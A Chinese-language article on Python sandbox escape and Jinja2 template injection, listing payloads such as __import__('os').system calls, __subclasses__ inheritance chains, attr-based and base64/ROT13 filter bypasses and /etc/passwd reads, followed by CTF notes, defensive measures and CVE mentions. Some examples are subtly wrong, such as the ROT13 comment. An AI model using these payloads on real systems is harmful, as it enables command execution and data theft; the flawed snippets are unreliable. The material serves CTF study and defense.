当前位置: 首页 > news >正文

沙箱逃逸(Python沙盒逃逸深度解析)

沙箱逃逸(Python沙盒逃逸深度解析)

一、沙盒逃逸的核心目标

执行系统命令
通过调用os.system、subprocess.Popen等函数执行Shell命令,例如读取文件或反弹Shell。
文件操作
读取敏感文件(如/etc/passwd)、写入后门文件。
环境信息泄露
获取沙盒配置、环境变量或密钥(如__builtins__中的敏感模块)。

二、常见攻击链与利用方法

探测沙盒漏洞

基础测试:注入{{7*7}}或__import__(‘os’).system(‘id’)验证模板引擎动态执行能力。
检查内置对象:通过dir()或__builtins__查看可用模块。
访问危险函数
直接调用模块:若未禁用os,直接执行命令:

__import__('os').system('cat /flag')

间接导入:通过字符串编码绕过关键字过滤:

__import__('b64d'.decode('rot13')).system('id')  # 'b64d''os'

类继承链利用

遍历子类:从基础类(如object)通过__subclasses__()找到危险类:

''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')

其中X为os._wrap_close或subprocess.Popen的类索引。
利用文件对象:通过types.FileType或open读取文件:

types.FileType('/etc/passwd').read()

绕过过滤的技巧

属性链分割:使用getattr|attr()绕过点号过滤:

request|attr('application')|attr('__globals__')['os'].system('id')

编码混淆:Base64、ROT13编码命令字符串:

eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))

利用内联函数:通过timeit、platform等非敏感模块间接调用命令:

timeit.timeit("__import__('os').system('id')", number=1)

三、典型沙盒环境与绕过案例

Jinja2模板引擎SSTI

漏洞场景:直接渲染未过滤的用户输入,如render_template_string(user_input)
利用链:通过{{config}}泄露密钥,或通过类继承链调用os模块。
RestrictedPython沙盒

限制机制:禁用__import__、open等函数。
绕过方法:利用__builtins__.__dict__或_getattr_动态获取危险函数。
CTF题目实战

常见考点:通过__subclasses__找到warnings.catch_warnings类,其__init__的全局变量包含sys模块。
文件读取绕过:使用

().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

四、防御措施与最佳实践

禁用高危函数
在沙盒配置中移除eval、exec、os、subprocess等模块,例如:

__builtins__.__dict__.clear() # 清除内置函数
限制模块导入

白名单机制:仅允许预定义的模块和函数。
沙盒环境:使用RestrictedPython或PyPy沙盒,限制全局状态访问。
输入过滤与静态模板

正则过滤:拦截{{、__class__、__import__等敏感符号。
静态渲染:优先使用render_template而非动态拼接模板。
监控与加固

日志审计:记录异常代码执行行为。
容器隔离:将沙盒运行在Docker等隔离环境中,限制资源访问。

五、历史漏洞与扩展

CVE-2017-5524:Plone CMS因未过滤Python字符串格式化方法导致沙盒绕过,攻击者可泄露敏感数据。
Temporal沙盒绕过:通过sandbox_unrestricted()上下文管理器或禁用@workflow.defn(sandboxed=False)完全绕过防护。

相关文章:

  • 7.进程概念(三)
  • 01_微服务常见问题
  • k8s术语pod
  • 解决vue3 路由query传参刷新后数据丢失的问题
  • Webug4.0通关笔记04- 第6关宽字节注入
  • FPGA中级项目7———TFT显示与驱动
  • gitmodule怎么维护
  • LeetCode:55.跳跃游戏——局部最优并非全局最优!
  • 如何个人HA服务器地址和长期密钥
  • 分享一个移动端项目模板:React-Umi4-mobile
  • 从厨房到云端:从预制菜到云原生
  • 浏览器打印日志方法与技巧
  • java连接redis服务器
  • vue 优化策略,大白话版本
  • Spring Security 的 CSRF 防护机制
  • [Android]导航栏中插入电源菜单
  • 【深度学习新浪潮】ISP芯片算法技术简介及关键技术分析
  • 强化学习之基于无模型的算法之蒙特卡洛方法
  • 【题解-Acwing】871. 约数之和
  • LeetCode 2962.统计最大元素出现至少 K 次的子数组:滑动窗口
  • 80后共青团云南省委副书记许思思已任迪庆州委副书记
  • 发布亮眼一季度报后,东阿阿胶股价跌停:现金流隐忧引发争议
  • 证券时报:“好房子”标准即将全面落地,购房者有哪些新期待
  • 我国成功发射卫星互联网低轨卫星
  • 五一假期上海铁路预计发送446万人次,同比增长8.4%
  • 杭州6宗涉宅用地收金125.76亿元,萧山区地块楼面价冲破5万元/平米